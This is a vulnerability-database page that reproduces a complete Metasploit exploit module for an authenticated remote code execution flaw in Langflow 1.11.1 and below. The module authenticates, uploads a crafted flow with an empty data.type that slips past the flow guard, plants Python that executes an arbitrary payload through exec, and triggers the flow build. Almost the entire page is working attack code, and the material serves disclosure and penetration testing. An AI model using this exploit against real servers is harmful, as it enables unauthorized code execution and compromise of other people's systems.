Lucene search
+L

Langflow AI authenticated RCE

🗓️ 28 Aug 2026 00:00:00Reported by Richard Howe <rhowe425>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 7 Views

Authenticated RCE in Langflow 1.11.1 and below via empty data.type bypassing flow guard.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI authenticated RCE',
        'Description' => %q{
          Langflow versions 1.11.1 and below are susceptible to authenticated
          remote code execution. By saving a flow where `data.type` is empty,
          an authenticated user can bypass the flow guard and execute
          arbitrary Python code.
        },
        'Author' => [
          'Richard Howe <rhowe425>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-19295'],
          ['URL', 'https://www.ibm.com/support/pages/node/7284733']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 7860 },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-08-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        ),
        OptString.new(
          'USERNAME',
          [true, 'Langflow login username', '']
        ),
        OptString.new(
          'PASSWORD',
          [true, 'Langflow login password', '']
        )
      ]
    )
  end

  def get_token(username, password)
    data = {
      'username' => username,
      'password' => password
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
      'vars_post' => data
    )

    return unless res&.code&.between?(200, 299)

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['access_token']
  end

  def create_flow
    comp = Rex::Text.rand_text_alpha(8)
    node_id = Rex::Text.rand_text_alpha(8)
    component_display_name = Rex::Text.rand_text_alpha(5)
    component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"

    output_display_name = Rex::Text.rand_text_alpha(5)
    output_name = Rex::Text.rand_text_alpha(5).downcase
    output_method = Rex::Text.rand_text_alpha(5).downcase

    injected_code = [
      'from langflow.custom import Component',
      'from langflow.io import Output',
      'from langflow.schema.data import Data',
      '_fired = [False]',
      "class #{component_name}(Component):",
      "    display_name='#{component_display_name}'",
      "    outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]",
      "    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
      "    def #{output_method}(self) -> Data:",
      '        return Data(data={})'
    ].join("\n")

    crafted_flow = {
      'name' => Rex::Text.rand_text_alpha(10),
      'description' => Rex::Text.rand_text_alpha(10),
      'data' => {
        'nodes' => [
          {
            'id' => node_id,
            'type' => 'genericNode',
            'position' => {
              'x' => 0,
              'y' => 0
            },
            'data' => {
              'id' => node_id,
              'type' => '',
              'node' => {
                'template' => {
                  '_type' => 'Component',
                  'code' => {
                    'type' => 'code',
                    'required' => true,
                    'show' => true,
                    'multiline' => true,
                    'value' => injected_code,
                    'name' => 'code',
                    'password' => false,
                    'advanced' => false,
                    'dynamic' => false
                  }
                },
                'description' => comp,
                'base_classes' => ['Data'],
                'display_name' => comp,
                'name' => comp,
                'frozen' => false,
                'edited' => true,
                'outputs' => [
                  {
                    'types' => ['Data'],
                    'selected' => 'Data',
                    'name' => output_name,
                    'display_name' => output_display_name,
                    'method' => output_method,
                    'value' => '__UNDEFINED__',
                    'cache' => true,
                    'allows_loop' => false,
                    'tool_mode' => false,
                    'hidden' => nil,
                    'required_inputs' => nil,
                    'group_outputs' => false
                  }
                ],
                'field_order' => ['code'],
                'beta' => false
              }
            }
          }
        ],
        'edges' => []
      }
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
      'headers' => {
        'Content-Type' => 'application/json',
        'Authorization' => "Bearer #{@token}"
      },
      'data' => crafted_flow.to_json
    )

    unless res&.code&.between?(200, 299)
      fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.')
    end

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['id']
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document

    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package

    unless package.to_s.downcase == 'langflow'
      return Exploit::CheckCode::Safe('Application is not Langflow.')
    end

    version = Rex::Version.new(version_str.to_s)

    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))
      return Exploit::CheckCode::Appears(
        "Version #{version} detected, which appears vulnerable."
      )
    end

    Exploit::CheckCode::Safe(
      "Version #{version} detected, which is not vulnerable."
    )
  end

  def cleanup
    super
    return if @flow_id.to_s.empty? || @token.to_s.empty?

    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(
        target_uri.path,
        "api/v1/flows/#{@flow_id}"
      ),
      'headers' => {
        'Authorization' => "Bearer #{@token}"
      }
    )

    if res&.code&.between?(200, 299)
      print_good("Deleted malicious flow #{@flow_id}.")
    else
      print_warning("Failed to delete malicious flow #{@flow_id}.")
    end
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    @token = get_token(username, password)

    if @token.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
    end

    @flow_id = create_flow

    if @flow_id.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(
        target_uri.path,
        "api/v1/build/#{@flow_id}/flow"
      ),
      'headers' => {
        'Content-Type' => 'application/json',
        'Authorization' => "Bearer #{@token}"
      },
      'data' => {}.to_json
    )

    unless res&.code&.between?(200, 299)
      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
    end

    print_status('Payload sent successfully.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2026 00:00Current
CVSS 3.19.9
EPSS0.01809
SSVC
7